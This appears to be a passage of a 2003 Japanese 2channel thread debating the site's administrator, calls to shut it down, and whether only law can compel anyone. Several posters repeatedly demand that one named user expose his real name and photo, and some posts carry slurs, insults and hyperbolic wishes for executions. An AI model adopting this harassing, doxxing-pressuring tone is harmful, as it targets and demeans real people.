他人の中傷は無視するくせに、自分の中傷は激高した西村。
あめぞうを潰した西村。
交通違反の潰し方という、違法サイトを作った西村。
利用者の個人情報を売った西村
18禁まがいの本を売って金儲けした西村。

 人 の 振 り 見 て わ が 振 り 直 せ 。

233 :心得をよく読みましょう:03/06/03 02:19 ID:dh9A6yt5
西村は、本当はここをよく見てるんだよ。
ここが収拾つかなくなったのを見ていたから
別に運用板を作ったんだしな。

それについ最近の新聞でも言ってたしな。
管理人が悪いと誤解している人達が居るってw
誤解ではなく、実際に悪いんだけどなw
まだ気付かないっていうのも凄いけどなww


234 :心得をよく読みましょう:03/06/03 02:57 ID:cYMCcQb1
全て西村が悪い

235 :ぴこちゃん:03/06/03 03:41 ID:9bCJluuP
西村は何かしらの罪でブタバコ行き。
削除ボランティアも数人は執行猶予付きの実刑だな。
そしてここは夜勤のものになるのかな?

236 :心得をよく読みましょう:03/06/03 06:51 ID:21vhKshj
夜勤も、ブタバコ逝き

237 :心得をよく読みましょう:03/06/03 11:27 ID:dh9A6yt5
                  

238 :心得をよく読みましょう:03/06/03 12:31 ID:d4LIbDIL
2ch幹部は全員公開処刑だ。

239 :マイク ◆yrBrqfF1Ew :03/06/03 15:17 ID:zRg71Yoj
アイデンちゃんがアンチに加わるのかしら。

240 :心得をよく読みましょう:03/06/03 15:52 ID:1BbClY/V
どうだろ?

241 :心得をよく読みましょう:03/06/03 16:35 ID:8SMpbCy2
あるホームページがあります。そのホームページの掲示板に
「閉鎖しろ」と書き込む行為は荒らしです。

では2チャンネルで「2チャンネル閉鎖すべし」と書き込むのは?

242 :心得をよく読みましょう:03/06/03 16:45 ID:N4vbSKDD
>>241
>あるホームページがあります。そのホームページの掲示板に
>「閉鎖しろ」と書き込む行為は荒らしです。

閉鎖すべきだ思うまっとうな理由があり、その理由とともに
「閉鎖しろ」と書き込むなら、荒らし扱いしなくてもよいのでは?

243 :心得をよく読みましょう:03/06/03 17:21 ID:8SMpbCy2
たとえ話ばっかで悪いんだが、例えば女性を暴行したうえ金品奪った挙句
殺したやつがいるとする。一般通念に照らしていえば殺されて当然だけど、
だからといって被害者の恋人がそいつを殺しても無罪にならないよね?こ
れと同じじゃないの?

244 :心得をよく読みましょう:03/06/03 17:53 ID:bppXoeGW
>>243
そういう意味では同意。>>231-238 みたいなレスなんて
普通の掲示板でやったら間違いなく荒らしでしょ。
(ここでも相手にされていないが)

ただ、上みたいなレスにも騒ぎ立てずに容認(つうか放置)
しちゃうのが2ちゃんのフトコロの深さだと思うけどな。

245 :マイク ◆yrBrqfF1Ew :03/06/03 18:02 ID:ChiWTZPR
>>241
嵐ではない。

246 :心得をよく読みましょう:03/06/03 18:24 ID:dh9A6yt5
ここに2chの悪口を書いても荒らしじゃないだろ。
それ以上に、2chは他を強烈に誹謗中傷している。
ここの2chの悪口の比ではない。

247 :心得をよく読みましょう:03/06/03 18:31 ID:6tEM2/mi
>ここの2chの悪口の比ではない。
あなたの過去の発言を見る限り、そんなことはないでしょう。

248 :心得をよく読みましょう:03/06/03 18:46 ID:dh9A6yt5
>>247
せめてageて書けよ!!

249 :心得をよく読みましょう:03/06/03 19:35 ID:1BbClY/V
ネットと言うか2chで犯罪予告が多発
http://news2.2ch.net/test/read.cgi/newsplus/1054627700/l50

250 :心得をよく読みましょう:03/06/03 20:57 ID:hJPFT3AU
http://news2.2ch.net/test/read.cgi/newsplus/1054627700/19

251 :激しく願望。:03/06/03 23:18 ID:sboq/Axd
すいませーーん(怒)
 何も悪いことしてないのにぃ
 スレが立てられないん
     ですけどぉ(怒)
   どうにかぁ
 してくれませんかぁ?
こっちはカキコしたいネタ
が、山ほどあるんですけどぉ(怒)。



252 :激しく願望。:03/06/03 23:23 ID:sboq/Axd
早めになおしてくださぁーい
どうかんがえても、そっち(2ch)
 の不手際が問題なんでぇーー


253 :心得をよく読みましょう:03/06/03 23:27 ID:BR33tWCO
>ぴこちゃん
その中でも、公認会計士のイ・ミョンヒが一番重い罪に問われそうw

254 :心得をよく読みましょう:03/06/04 00:25 ID:TWpQBpt3
だいぶ閉鎖への気運が高まってきたな。

255 :さくら組@はにゃ―ん ◆ArasuByydk :03/06/04 00:29 ID:/6rlQkV9
あまりの機運の高まりに我を忘れたYO ( ゚д゚)ポカーン

256 :心得をよく読みましょう:03/06/04 11:46 ID:QSzUx/Yg
7月が楽しみだ

257 :心得をよく読みましょう:03/06/04 12:23 ID:bIYEIGpA

ネットは世界に繋がってるとか、これからは国際化社会だからとか、インターネットで国際人になるため、
子供のうちからインターネットをやらせるとかいうのは、日本では完全に妄想だったというわけだ。
特に、中学生くらいのガキが一番錯覚しやすく、思い込みが強い。
2ちゃんねるみたいな無茶苦茶なところからネットをはじめて、それが基本と思い込んだら
どんな人間になるのか考えると恐ろしい。


258 :山崎ゆうた(中卒16歳):03/06/04 12:25 ID:8ifPiPY+
>>257
禿同

http://qb.2ch.net/test/read.cgi/accuse/1054696956/

259 :心得をよく読みましょう:03/06/04 12:59 ID:rba7JbWx
はっきり言って、2ちゃんねるがなくなったところで
また似たようなものが出てくるのが落ちだ。以上

260 :心得をよく読みましょう:03/06/04 13:07 ID:Lzed6Mwu
2ちゃんねるのような巨大な掲示板が再び作られるかどうかは疑問だけど・・・

261 :心得をよく読みましょう:03/06/04 13:17 ID:8ifPiPY+
あげ

262 :心得をよく読みましょう:03/06/04 13:25 ID:JcuRZhEm
>>257
禿同
2chは2chときちんと区別してやれば良いのだが
最近、外部HPでも2ch感覚で自作自演、煽り騙りなどする厨が現実に多くなってきている。
もちろん外部HPでもそういう流れの掲示板なら良いのだが
すべての掲示板が2chと同じ(基本)だと思い込んでいるからマジ恐ろしい。

263 :心得をよく読みましょう:03/06/04 15:23 ID:BjPXUl/+
>>257 には全く同意だが、>>259 もまた正しいと思う。
よって、少なくとも「閉鎖」が答えじゃないでしょ。

>>258 みたいに別の解決方法を摸索しなきゃいけない
わけだ。

264 :心得をよく読みましょう:03/06/04 18:59 ID:6FuYkOkM
>210
批判するのが自由だからだよ。
法に従った処理には妥当性が必要だが
批判するだけなら妥当性は必要無いからな。

265 :心得をよく読みましょう:03/06/04 19:00 ID:TWpQBpt3
また次に同じような巨大掲示板が出来ても
この2ちゃんの失敗の経験は見ていたわけだから
同じ失敗はしないだろ。

とりあえず、この2ちゃんねるは見事に失敗作だったわけだから
一刻も早く消え去るのみ。
往生際が悪すぎる!!!


266 :心得をよく読みましょう:03/06/04 19:09 ID:6FuYkOkM
>257
ある意味基本だと思うんだが。
無茶苦茶なのは人間の思考というものが無茶苦茶だからだし
ぐちゃぐちゃなのは世界がぐちゃぐちゃだからだ。
世の中は美しいところだけではない。

美しくないものが在るのが解っているのに子供をそんなところに
放り出す親っつーのはどういう了見なんだ?脳がわいてるのとちがうか?
子供のWeb利用については保護者の責任で指導・管理すべき。


267 :心得をよく読みましょう:03/06/04 19:13 ID:YYyFg0kY
>>265
人を集めるという点では見事に成功しているわけだが、
失敗ってどういう点が?世間に評判が悪いとかか?

268 :心得をよく読みましょう:03/06/04 19:14 ID:TWpQBpt3

また次に同じような巨大掲示板が出来ても
この2ちゃんの失敗の経験は見ていたわけだから
同じ失敗はしないだろ。

とりあえず、この2ちゃんねるは見事に失敗作だったわけだから
一刻も早く消え去るのみ。
往生際が悪すぎる!!!


269 :心得をよく読みましょう:03/06/04 19:19 ID:TWpQBpt3
>>267
人が集まるったって、そりゃ、これだけ多くの掲示板を用意して
好き勝手に書かせりゃ、とりあえずは、集まっては来るだろうよ。
ただし、集まっただけだわな。
それが成功かw


270 :心得をよく読みましょう:03/06/04 19:23 ID:R+/RGvW3
1ch.tvが繁昌しないのが失敗です。

271 :心得をよく読みましょう:03/06/04 19:30 ID:YYyFg0kY
>>269
人を集めることが目的なら成功じゃん。

272 :心得をよく読みましょう:03/06/04 19:38 ID:TWpQBpt3
>>271
弱めの屁理屈だけどw

掲示板なんだからさぁ、書いてある内容が問題だろ。
落書きやAAばかりではどうしょうもないだろ??
要は、書き込みの内容だよ、内容。


273 :心得をよく読みましょう:03/06/04 19:49 ID:nPkBKzbY
>>272
お前の書き込みにも、内容が無いように見えるのだが。

274 :心得をよく読みましょう:03/06/04 19:51 ID:TWpQBpt3
>>273
屁理屈。

275 :心得をよく読みましょう:03/06/04 19:53 ID:C8JLxod/
必死→信者→擁護→屁理屈→?

276 :心得をよく読みましょう:03/06/04 19:57 ID:MrQ45pzg
>>264
それは批判の自由を論じているだけです。
批判を受けるのはなぜかという問いに答えてください。

277 :心得をよく読みましょう:03/06/04 20:07 ID:MrQ45pzg
>>276
それともなんですか、
法に触れていなければ
批判なんかすべて妥当性の無い誹謗中傷だとでも言うおつもりですか?

278 :心得をよく読みましょう:03/06/04 20:21 ID:r5RtoIHN
>>272
見るべき価値のある書き込みがない(or極めて少ない)から失敗、
と言いたいのか?

279 :心得をよく読みましょう:03/06/04 21:28 ID:bIYEIGpA
>>278
言うまでもなく、そうに決まってるだろ。

280 :SOS:03/06/04 21:33 ID:5/4Yy6tl
当たり前
ダッ駄々あだ駄々駄々駄々駄々だーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

281 :心得をよく読みましょう:03/06/04 21:39 ID:sRBOx2wk
>>279
じゃあなんで「日本一の巨大掲示板」と呼ばれるほど
人が集まるのさ?

282 :心得をよく読みましょう:03/06/04 21:45 ID:rgw0ien6
>>281
一番、掲示板の数が多いからじゃないのか???
他に何か理由でもあると???

283 :心得をよく読みましょう:03/06/04 21:46 ID:zghJQoNH
2ちゃんねる規制法を作るのです。
糞国会議員よ。

284 :心得をよく読みましょう:03/06/04 21:48 ID:MrQ45pzg
おまえらは数や活気だけでしか失敗かどうかを見分けられないのか。

この惨状を見れば失敗かどうかわかるだろ。
口喧嘩が沢山起きれば、そりゃ活気は沸くわな。

285 :心得をよく読みましょう:03/06/04 21:57 ID:6FuYkOkM
>276
日本人は尊法精神はすばらしいが法治国家というものについて無自覚だからだよ。
がやがや言ってるだけで解決すると思ってるんだな。
それで解決するなら法律なんぞ要らん。韓国じゃあるまいし。



286 :心得をよく読みましょう:03/06/04 22:01 ID:JDQGc0gV
>>285
そんじゃま、ほっとくか。
法律を作ってくれてるお偉いさん方しか、なんにもできないでよ。

287 :心得をよく読みましょう:03/06/04 22:02 ID:6FuYkOkM
>284
「失敗」というのは「成功」という概念があるから発生する概念なんだよ。
何を「成功」とするかは人によって違う。
地球は貴方を中心に回ってるわけじゃないので
貴方にとっての「成功」が他人にとっても「成功」であるとは限らない。


288 :284 276:03/06/04 22:09 ID:fHajHVl/
>>287
では、今批判をこんなにも多く受けていると言うことは
失敗なんでしょうね。
地球はあなたを中心にまわっているわけではありませんから。

>>285
まだ分からないようですね。
どうして批判されるのかって聞いてるんですよ。
「解決すると思ってるから批判してる」?
意味がわかりません。
なにを解決するために批判するのでしょうかね???

289 :心得をよく読みましょう:03/06/04 22:17 ID:sRBOx2wk
>>284
いやいやいやいや、そういうことが言いたいわけでなく、だな。

ここに何らかの価値を見出せるから人が集まってると思ってるので、
「価値のある書き込みがほとんどない→だから失敗」
という理屈がどうにもしっくりこないわけよ。

金儲けのために始めたんなら、ひろゆきにとっては間違いなく
大失敗だと思うが。

290 :心得をよく読みましょう:03/06/04 22:18 ID:6FuYkOkM
>288
批判受けたら失敗ってのがよくわからん。
貴方にとって「失敗」なのはわかったけど
それが何で他の人にとっても失敗になるのかの説明をよろ・
他の人の脳内が見えちゃってたりしてるんかな?

291 :心得をよく読みましょう:03/06/04 22:23 ID:yailWw2w
>>288
>では、今批判をこんなにも多く受けていると言うことは
>失敗なんでしょうね。

自称ヒッキーが個人で開設した掲示板に
「世間とうまく折り合いを付けてやっていく」
という目的があったと本気で思うわけ?

292 :心得をよく読みましょう:03/06/04 22:27 ID:TWpQBpt3


そりゃ、関係者・信者にとっては

この惨状を見ても無理矢理、成功と思うだろよ。

失敗を失敗とは認めたくないわなw




293 :288:03/06/04 22:27 ID:fHajHVl/
>>289
そもそも成功や失敗っていうのは主観的な言葉。
成功でも失敗でも、周りから非難されている問題点は解決しなければならないと思いますけどね。

私は何が失敗で何が成功なのかという話し合いは無意味だと悟りましたので外れます。

294 :心得をよく読みましょう:03/06/04 22:28 ID:fHajHVl/
>>291
じゃぁ
「自称ヒッキーが個人で開設した掲示板に
『世間とうまく折り合いを付けてやっていく』
という目的があったと本気で思うわけ? 」
と主張すれば問題ないとでも言うわけ?

295 :心得をよく読みましょう:03/06/04 22:30 ID:TWpQBpt3


それと、都合の悪いことについては

あいかわらず、sageだなぁ、お前達はよぉww



296 :心得をよく読みましょう:03/06/04 22:32 ID:6FuYkOkM
>288
批判にしろなんにしろ主張というのは自分のために行うものだよ。
その人が何のために主張してるのかはそれぞれ違うだろうが
自分のためであることには間違いない。
全ての人は自分の欲望を解決するために主張してるのだよ。
相容れない複数の主張が在ったときにどちらが妥当かを計るのが法律だべ。

だから相手をどうしても自分の意見に従わせたければ法を使うしかない。
法を使わないというのはつまり従わせることが目的なのでは無く
主張することが目的ということだ。
だから、批判の自由がひろゆきによって与えられてるからという回答になったわけだ。


297 :心得をよく読みましょう:03/06/04 22:33 ID:38GkMk04
>>292
それはこの板の事を言ってるのか?
そりゃあ仕方あるまい。ここはお前みたいな基地害を
隔離するための板なんだから

298 :心得をよく読みましょう:03/06/04 22:38 ID:TWpQBpt3


おい、おい、まだsageかww

ちょっと核心をつかれることを書かれるといつもそうだ。

sageてることで、ばれてるぞww



299 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 22:41 ID:pZfVjUP8
>296
おお(^_^;)ちょっと感動した
今までうまく書けなかったことが見事に書かれてる

300 :心得をよく読みましょう:03/06/04 22:41 ID:fHajHVl/
>>296
>批判にしろなんにしろ主張というのは自分のために行うものだよ。
>その人が何のために主張してるのかはそれぞれ違うだろうが
>自分のためであることには間違いない。
そんな風にしか主張を考えられないのならとんでもないな。

>全ての人は自分の欲望を解決するために主張してるのだよ。
>相容れない複数の主張が在ったときにどちらが妥当かを計るのが法律だべ。
>だから相手をどうしても自分の意見に従わせたければ法を使うしかない。
>法を使わないというのはつまり従わせることが目的なのでは無く
>主張することが目的ということだ。
意味がわからん。
法を作らせるために主張するんじゃないのか?
主張自体が目的だったら俺もそんな無駄なことしねぇよ。

>だから、批判の自由がひろゆきによって与えられてるからという回答になったわけだ。
独裁者にでもなりたいのか?

法を作れるものにしか相手を従わせられないのなら単なる独裁だ。
つまり君は、2ちゃんねるはひろゆきの独裁国家だということだな。

301 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 22:45 ID:pZfVjUP8
>そんな風にしか主張を考えられないのならとんでもないな。
ほかにどういうふうに考えられるのだろう?(^_^;)

>法を作れるものにしか相手を従わせられないのなら単なる独裁だ。
>つまり君は、2ちゃんねるはひろゆきの独裁国家だということだな。
日本は民主国家ですが・・・・(^_^;)
法を作れるのは国民が選出した国会議員ですよ?



302 :心得をよく読みましょう:03/06/04 22:47 ID:fHajHVl/
>>301
296の考えは独裁ですが。
国会議員の「主張」を無視してでも法はつくれると、
こう言ったわけですよ?

303 :心得をよく読みましょう:03/06/04 22:48 ID:6FuYkOkM
>300
法を作らせるために主張・・・2chでですか?
2chはそれだけ社会的に重要な位置にあるということでしょうか?
漏れにはそうは思えませんが。

殆ど全てのWebサイトは誰かの所有物ですよ。
貴方が書き込める自由すらもひろゆきからお情けで貰っているものです。
ある人は言論の自由を唱える人もいるかもしれんが、
貴方が貴方の場所で貴方の主張をするのは自由だけど
ここはひろゆきの私物で利用者はひろゆきによって場を与えられてる
乞食みたいなモンだという自覚は持ったほうがいいんじゃないですかね。
他人の持ち物に本当の自由なんてものはありはしませんよ。
独裁国家・・・とまぁ、国家じゃないですけど所有者による独裁なのは
殆どのWebサイトにおいてそうですね。
そんなのはあたりまえのことです。

304 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 22:49 ID:pZfVjUP8
>302
違うでしょ(^_^;)
あなたの主張と2chの現状が相容れない状況について言ってるんじゃないですか?
その主張が相容れない以上、法治国家である日本においては
裁判で決する以外には、互いに平行線を維持する他ないという話ですよ?
なんかすげー勘違いしてませんか?

305 :心得をよく読みましょう:03/06/04 22:51 ID:fHajHVl/
>2chはそれだけ社会的に重要な位置にあるということでしょうか?
ほほう、これを否定できるわけですか。

ならどうして2ちゃんねるの噂ぐらいで訴訟が起きたり
世間でこんなにも騒がれているのでしょう?
説明していただけませんか?

306 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 22:51 ID:pZfVjUP8
んでもって、その解決に使われる法律は
国民が選出した国会議員によって制定されたものです(^_^;)
(ま、現行の法律の成り立ちは必ずしもそうでないのですが、戦後60年近くが過ぎて
事実上そうとらえて構わないでしょ)
つまり、国民の法律によってその主張の白黒がつくわけですな。

307 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 22:53 ID:pZfVjUP8
>305
それ「位置」の単位が違います(^_^;)
同じ位置と言う言葉を使っても、距離と高度のごとく
まったく別物ですよ・・・・

308 :心得をよく読みましょう:03/06/04 22:54 ID:fHajHVl/
法治国家を逆手にとって
法に触れなければなにをしてもいいだなんて考えだるやからがいるから
この社会はダメになったんだな。
わかったよ。

309 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 22:55 ID:pZfVjUP8
>308
思考停止お疲れ様です(^_^;)

310 :心得をよく読みましょう:03/06/04 22:56 ID:6FuYkOkM
>305
日本の立法府は国権の最高機関である国会しかなかった筈なんですが・・・
・・・・2chって凄いんですね。

訴訟とかは法に従って行われてますけど?
自分は訴訟を批判したことはないですし、むしろ薦めてますよ。
自分は「他人に強制する手段は法律しかない」といってるだけですよ。
法によって強制することは至極妥当でしょう。
それが法治国家であるということの意味でしょう?

311 :心得をよく読みましょう:03/06/04 22:58 ID:zUorrbg4
>296
主張というのは自分のために行うだと?
君は今まで自分の損得のみ考えて生きてきたんだろうな。
そんな考えでは誰にも信頼されないだろう。
いくらこの掲示板で中傷被害者が出ようとも、自分が得をすれば全く問題無しと考えているんだろう?
とりあえず、あんたとマープの二名は試しに自分の氏名と顔写真を晒してくれ。
晒せないのならタダのヘタレだな。

312 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 22:58 ID:pZfVjUP8
>311
きっぱり断る(^_^;)

313 :心得をよく読みましょう:03/06/04 23:00 ID:fHajHVl/
>>310
では、ここではひろゆきがすべてを握っているのだから
ひろゆきに強制手段をとっていただけるよう
話し合えるとしたらこれはなんでしょうかね。

314 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:00 ID:pZfVjUP8
ところで・・・・
自分のためでなければ何のために主張してるんだろう?(^_^;)
具体的に答えられる人はいないんだろうか?
つか、底の浅そうな回答が目に浮かぶけどね〜

315 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:01 ID:pZfVjUP8
>313
もうちょっと日本語でお願い(^_^;)

316 :心得をよく読みましょう:03/06/04 23:02 ID:6FuYkOkM
>313
だから、「話し合い」というのは強制力をもてないのよ。
強制手段ってのは日本では法律しかないわけ。


317 :心得をよく読みましょう:03/06/04 23:02 ID:pk//R3Sa
マァウはなんで自分の個人情報を晒さないの?
やっぱり晒すのが恐いんだろ?中傷掲示板擁護派って随分、勝手だなw

318 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:03 ID:pZfVjUP8
>317
別に理由はなんでもいいんだけどね(^_^;)
不必要に個人情報晒すほど馬鹿じゃないだけです

319 :心得をよく読みましょう:03/06/04 23:03 ID:fHajHVl/
>>315
さっき303で誰かが言っていたと思うけど、
ここはひろゆきの私物なんですよ。
ただ、その私物のおかげで迷惑している人間は大勢いるわけですよ。
ここにこなくても。
だから、法なんかに頼らなくても、ここで話し合ってひろゆきにお願いできれば、
これはこれで掲示板の立法機関ではないんですか?

320 :心得をよく読みましょう:03/06/04 23:03 ID:6FuYkOkM
>311
貴方だって自分の利益のために書き込んでるんじゃないんですか?
それは偽善心を満足させるための精神的な利益かもしれないですし
どっかの団体からの給料かもしれませんけども。


321 :心得をよく読みましょう:03/06/04 23:05 ID:AsjQmysW
ひろゆきは晒してるのに赤豚さんは何故晒さない?

322 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:06 ID:pZfVjUP8
>319
2chのルールは法律じゃないですよ(^_^;)
法律と呼べるのは日本では国際法と日本の法律です。
これは言葉遊びではなくて、あなたが2chのルールを法律と表現する意図に
あたかも国家の法律のような強制力を期待しているのであえてクギを刺しています。
比喩的にそういう表現をしたいのはわかりますが、先程から「法をもって決着する」ことに関して
あなたが思い違いをしているのは明かですので・・・・

323 :心得をよく読みましょう:03/06/04 23:06 ID:fHajHVl/
>>320
他人のためを思って主張することのなにがいけないのでしょう?
私たちは全員の利益を考えて話し合っているんですよ。
あなたたちも、私たちの利益を忘れないで欲しいですね。
私たちもあなたたちの利益を最大限尊重しようとしているのですから。

324 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:07 ID:pZfVjUP8
>321
ひろゆきが晒してることで、他の誰かが晒さなきゃならない理由は?(^_^;)

325 :心得をよく読みましょう:03/06/04 23:07 ID:fHajHVl/
>>322
ここってひろゆきの私物じゃないんですか?
ひろゆきが強制させようとすればできるんじゃないですか?
私は国ではなく、掲示板単位で考えているんですよ。

326 :心得をよく読みましょう:03/06/04 23:08 ID:6FuYkOkM
>319
日本ではそういうの法律って言いません。ローカルルールって言います。
語彙が微妙に間違ってるんじゃないかな?なんか上手く伝わってないような・・。

日本の立法府は国会しかないってのは小学校で習ってるはずなんですが。

ルールには強制力はありませんし、その強制力は所有者の権限から派生するものです。


327 :心得をよく読みましょう:03/06/04 23:08 ID:R3kQ9GGH
マープってなんかズルくね?
自分は晒されたくないのに他人が晒される事には何も感じないのか?

328 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:08 ID:pZfVjUP8
>325
ですが、それを国家の法と同じに扱うことはできません(^_^;)
さきほどから、2chを含んだ日本の社会の話を
無理やり2chの中身の話に置き換えようとしているようですが
それは無茶というものだと思います(^_^;)

329 :心得をよく読みましょう:03/06/04 23:09 ID:fHajHVl/
>>326
だからわたくしたちは専ら所有者の権限に期待をかけてここを利用させてもらってるんですけどね。
そんなことにいまさら気づきましたが。

330 :心得をよく読みましょう:03/06/04 23:09 ID:6FuYkOkM
>323
いけないって言いました?
貴方が「他人のため」と言って主張してるのは
「他人のために主張したい自分のため」であるといっています。
もしくは「他人のために主張していると言いたい自分のため」でしょうかね。
それは別に悪いことでは在りませんし普通のことだと思いますよ。
でも「自分のため」でしょ。

331 :心得をよく読みましょう:03/06/04 23:13 ID:6FuYkOkM
>329
貴方がおっしゃってるように「期待」に過ぎないんですよ。
人治主義の国じゃあるまいしそんなんじゃ何も変わりませんよ。
まぁ、ドリーマーで居るのは自由ですけども。


332 :心得をよく読みましょう:03/06/04 23:13 ID:fHajHVl/
>>330
お互いが自分のためになるような方法を模索しようと考えているのに
おかしな言い訳をしますね。

333 :心得をよく読みましょう:03/06/04 23:15 ID:fHajHVl/
>>331
期待に過ぎないからあきらめる。
こんな考え方でいったいなにを民主主義によって変えられるというのでしょうか?

334 :心得をよく読みましょう:03/06/04 23:16 ID:kHPMF5bH
早くマァブは自分の情報を晒せよ
晒してから匿名中傷掲示板を運営しなよ

335 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:17 ID:pZfVjUP8
>334
ああ(^_^;)なるほど
ちなみにおいらは「運営」してないです

336 :心得をよく読みましょう:03/06/04 23:18 ID:g8fi6G37
ピロシキ以上に卑怯者だな

337 :心得をよく読みましょう:03/06/04 23:18 ID:fHajHVl/
6FuYkOkMさんはきっと、
選挙しかデモクラシーを実現できる方法はないと思っているようですが。
実際に団体を結成してなにかしら運動をおこせば、
それなりの影響力は発生すると思うんですよ。

338 :心得をよく読みましょう:03/06/04 23:20 ID:6FuYkOkM
>332
お互いって誰です?
「管理者:貴方」でしょ。
そう、誰の代弁かとかそういうのは関係無く"貴方の"主張なんですよ。

んで、管理者、この場合ひろゆきですけど、
貴方は管理者にとって交渉に値するようなメリットを一つとして提示できていない。
管理者にとっては「自分のため」にならないんですよ。多分。
だから管理者には放置されてるんじゃないですかね。

まぁ、自分はひろゆきじゃないからそこんとこ断定は出来ませんがね。

ひろゆきは以前、「馬鹿を馬鹿と呼べる掲示板」が良いとか言ってましたから
貴方の欲望を解決するより貴方みたいな人が各々の主張をしてくれたほうが
ひろゆきにとっては「自分のため」になるんじゃないですかね。と想像。


339 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:20 ID:pZfVjUP8
>337
つか、影響力は発生しますよ(^_^;)
ただ、それは世論に対して影響することで最終的にデモクラシーに帰するものだと思います。

340 :けんすう ★:03/06/04 23:20 ID:???
個人情報晒すことに何の意味があるんだろう。バカなんだろうか・・・。

341 :心得をよく読みましょう:03/06/04 23:21 ID:fuxJyCXq
>335
屁理屈はいいから早く晒してくださいよ
晒すのが恐いんだろ?正直に言いなよ

342 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:21 ID:pZfVjUP8
>341
と、煽られても断る(^_^;)

343 :心得をよく読みましょう:03/06/04 23:22 ID:6FuYkOkM
>337
政治で法律を決めるんなら団体作って啓蒙してくのは
"選挙を考慮した"有効なアプローチでしょうけど、
掲示板運営者には得票数は必要無いんでなんのメリットにもなりませんよ。

344 :けんすう ★:03/06/04 23:23 ID:???
どうでもいいけど、世の中にはマァヴさんの個人情報を
ほしがる人が多すぎるような気がする・・・。

マァヴさんがかわいい女の子だったらまだしも、何がしたいんだろう、、

345 :心得をよく読みましょう:03/06/04 23:23 ID:fHajHVl/
管理者の代弁なんかしてません。
今現実に誹謗中傷を書かれたり自分のHPを荒らされたりして
人権を侵害されている人のために代弁してるんですよ。

なんかあなたは、自分にはなんの権力もないから、
なにをしても無駄だって愚痴って言い訳してるようにしか見えないんですが。

346 :心得をよく読みましょう:03/06/04 23:24 ID:6FuYkOkM
>344
マァヴさんは太った男性というのが通説になってますので
恐らくホモのデブ専かと。


347 :心得をよく読みましょう:03/06/04 23:25 ID:5SuFuF01
自分の個人情報は晒せないくせに他人が晒されている掲示板を擁護するのかい?
人間のクズだな

348 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:25 ID:pZfVjUP8
>344
XXXXXさんとかXXXXXXXとかな(^_^;)
XXXXXXはなんだか調べちゃったらしいし
あれはなんなんだろうなぁ・・・・気持ち悪いねぇ

349 :心得をよく読みましょう:03/06/04 23:27 ID:pk//R3Sa
>344
バカはオメーだよ
さっさと晒せ

350 :心得をよく読みましょう:03/06/04 23:27 ID:6FuYkOkM
>345
お互いになんの権力もないですよって言ってるだけです。
少なくともここ2chではお互いに主張書き込む権限だけしかないのでは?


351 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:28 ID:pZfVjUP8
>347
また頭の悪そうなことを(^_^;)
擁護なんざしてないって。ただ、現実を詳らかにしてるだけ。
結果的に2chの現状は存続可能ってことになるからといって
無理やりそういうことにしてるわけじゃなくて、事実そうであるという話だからね(^_^;)

ま、存続してることが気に食わない人からみれば、擁護してるとでも言わないと
どうしようもないのかもしれんが(^_^;)

352 :けんすう ★:03/06/04 23:29 ID:???
>>346
マニアにはたまらないですな。
>>347
まずは自分が晒したらどうかな。結構楽しいかもよ。
>>348
気持ち悪いなぁ、、、
調べて何をするわけでもなかろうに、
「俺はあいつの個人情報握っているんだ!」と思うことで、
心のバランスが取れるのかな。

353 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:29 ID:pZfVjUP8
>350
そりゃそうだ(^_^;)
荒し行為でない限り、基本的には書くことを許されてる場所だしね。
つーか、そういう公平な目で議論できるって大切だよね。

354 :心得をよく読みましょう:03/06/04 23:29 ID:IWkPa6N3
基本的にパソオタは他人に対する思いやりに欠けてるからな
他人に迷惑をかけるなと親に教えられなかったのかい?便所信者たち

355 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:30 ID:pZfVjUP8
>352
調べちゃった人はそうでもなかったんじゃないかな?(^_^;)
ただ、調べても特になんもなくてどうにもできなかっただけで・・・・

356 :心得をよく読みましょう:03/06/04 23:32 ID:v8s7uipm
>>349
同感!!
マジで>>344は意ってよし!

357 :けんすう ★:03/06/04 23:32 ID:???
>>354
うんうん。
閉鎖しろやら個人情報晒せ、でないと擁護する資格なし、
とかものすごい独りよがりなことを書いている人とか、困るよねぇ、、

358 :心得をよく読みましょう:03/06/04 23:32 ID:6FuYkOkM
他人に思いやりを要求する奴に限って相手を思いやって譲るってことをしない。

まぁ、思いやりで世の中変わったら楽でいいよね。
バファリンの半分はやさしさでできています。

359 :けんすう ★:03/06/04 23:32 ID:???
個人情報を見たいって何が楽しいんだろ?(^^;

360 :心得をよく読みましょう:03/06/04 23:33 ID:pk//R3Sa
マープさんは2chで無意味に晒され中傷されている人が可哀相とか思わないの?

361 :けんすう ★:03/06/04 23:33 ID:???
>>358
他人に思いやりを強要しない思いやりがほしいこのごろですな。

362 :心得をよく読みましょう:03/06/04 23:33 ID:fHajHVl/
>>353
いまあなたは法以外でも強制力を持たせられると言いました。

少しは法でしか強制できないという固定観念から脱却したらどうでしょうか?
ローカルルールでいいんですよ。
そしてそれには所有者が強制力を持たせるれば。
なにも法的拘束なんて少しも望んでいないんです。
法治国家以前に地方自治が、地方自治以前に一人一人の自律が基本であることを考えませんか。

363 :KC-130@マァヴ ◆jxAYUMI09s :03/06/04 23:35 ID:pZfVjUP8
>360
ケースバイケース(^_^;)

>362
>いまあなたは法以外でも強制力を持たせられると言いました。
え?(^_^;)どれのこと?

364 :けんすう ★:03/06/04 23:35 ID:???
>>360
